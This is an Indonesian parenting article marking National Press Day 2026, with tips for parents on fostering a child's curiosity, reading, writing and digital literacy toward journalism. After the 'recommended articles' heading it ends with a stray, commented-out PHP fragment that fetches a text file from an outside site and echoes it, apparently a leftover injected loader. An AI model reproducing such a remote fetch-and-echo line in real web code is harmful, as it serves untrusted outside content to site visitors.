Dari Rasa Ingin Tahu ke Cita-Cita Besar Jadi Jurnalis

 

Seorang anak memegang mic sedang berperan menjadi jurnalis televisi  Memaknai Hari Pers Nasional sebagai momen menumbuhkan cita-cita anak lewat rasa ingin tahu, kebiasaan membaca, menulis, dan storytelling dengan pendampingan Bunda dan Ayah. Foto: Freepik


Hari Pers Nasional yang diperingati setiap 9 Februari bukan sekadar penanda sejarah pers di Indonesia, tetapi juga momentum refleksi tentang peran jurnalisme dalam membentuk cara berpikir kritis sejak usia dini. Menariknya, berbagai riset pendidikan menunjukkan bahwa banyak jurnalis menemukan panggilan profesinya justru sejak masa kanak-kanak. Yakni pada saat anak memiliki rasa ingin tahu yang cukup besar, gemar membaca, dan memiliki kebiasaan bertanya yang semakin kuat seiring bertambahnya usia. Di titik inilah, Bunda dan Ayah punya peran penting, lho, dalam menjaga cita-cita mereka tetap hidup, tanpa perlu buru-buru memberi label masa depan.

Merawat rasa ingin tahu, bukan mengejar gelar


Bagi anak usia 9 tahun, dunia masih penuh keajaiban. Banyak jurnalis dewasa hari ini mengingat bahwa percikan awal ketertarikan mereka pada profesi pers muncul di usia ini—ketika membaca koran terasa seru, menulis buku harian jadi kebiasaan, dan bertanya “kenapa” tak pernah ada habisnya.

Alih-alih menekan anak dengan target profesi, langkah paling sehat adalah membiarkan mereka “menjadi anak”. Rasa ingin tahu, kegembiraan belajar, dan kebebasan mengeksplorasi minat justru fondasi penting bagi profesi apa pun, termasuk jurnalisme.

Dorong kebiasaan sederhana: membaca berbagai jenis bacaan, menulis cerita pendek, atau mencatat pengalaman sehari-hari. Kebiasaan menulis tak harus langsung serius—menulis surat untuk kakek-nenek, membuat jurnal harian, atau menyalin puisi favorit sudah cukup melatih kepekaan bahasa.

Cita-cita anak di era digital, perlu pendampingan nyata


Di tengah dunia digital, minat anak pada bercerita kini tak lagi terbatas pada tulisan. Video pendek, podcast sederhana, foto berseri, bahkan cerita lewat chat bisa jadi pintu masuk mengenal dunia storytelling. Ini sejalan dengan praktik jurnalisme modern yang semakin lintas format.

Namun, literasi digital dan keamanan daring tak boleh diabaikan. Banyak jurnalis, terutama perempuan dan kelompok rentan, menghadapi tantangan serius di ruang digital. Sejak dini, anak perlu dikenalkan pada jejak digital, etika berinternet, dan pentingnya menjaga privasi.

Tak kalah penting, pengalaman langsung tetap jadi guru terbaik. Mengajak anak membuat buletin keluarga, mewawancarai anggota keluarga, atau menulis berita kecil tentang lingkungan sekitar dapat menumbuhkan empati sekaligus keterampilan observasi. Jika memungkinkan, mengenalkan anak pada profesi jurnalis lewat kegiatan sekolah atau program kunjungan juga bisa membuka wawasan baru.

Menariknya, banyak jurnalis hebat justru datang dari latar belakang minat lain—sains, seni, olahraga, atau teknologi. Karena itu, mendukung anak mendalami berbagai bidang justru memperkaya cara berpikir dan sudut pandangnya kelak.

Tip menumbuhkan cita-cita anak menjadi jurnalis

Tak harus dengan langkah besar atau pendekatan rumit, untuk menumbuhkan cita-cita anak. Bunda dan Ayah bisa mulai dari kebiasaan sederhana di rumah, kok. Misalnya, lewat pendampingan yang konsisten dan ruang nyaman anak agar rasa ingin tahu mereka pun tumbuh. Bisa dengan cara-cara ini Bun.

- Biarkan anak menikmati proses belajar tanpa terburu-buru menentukan profesi
- Bangun kebiasaan membaca lintas genre sejak dini
- Ajak anak menulis setiap hari, sekecil apa pun bentuknya
- Dorong rasa ingin tahu dengan diskusi ringan, bukan ceramah
- Kenalkan literasi digital dan keamanan online secara bertahap
- Fasilitasi anak mencoba berbagai bentuk storytelling
- Libatkan keluarga sebagai “narasumber” pertama anak
- Rayakan usaha dan proses, bukan hanya hasil

Pada akhirnya, tugas Bunda dan Ayah bukan menentukan anak akan jadi apa, melainkan menemani mereka tumbuh dengan rasa ingin tahu yang terjaga, karena dari sanalah mimpi besar, termasuk cita-cita menjadi jurnalis, bisa menemukan jalannya sendiri.
Selamat Hari Pers Nasional 2026 untuk kita semua!

Penulis: Laili 

Baca juga:

Ketika Dongeng Menari di Atas Es dan Menyatukan Keluarga
Selamatkan Perempuan Indonesia, Dari Ancaman Sunyi Menuju Gerakan Pasti
Saat RSV Berbahaya bagi Bayi Prematur

 


Topic

#HariPersNasional2026 #CitaCitaAnak



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>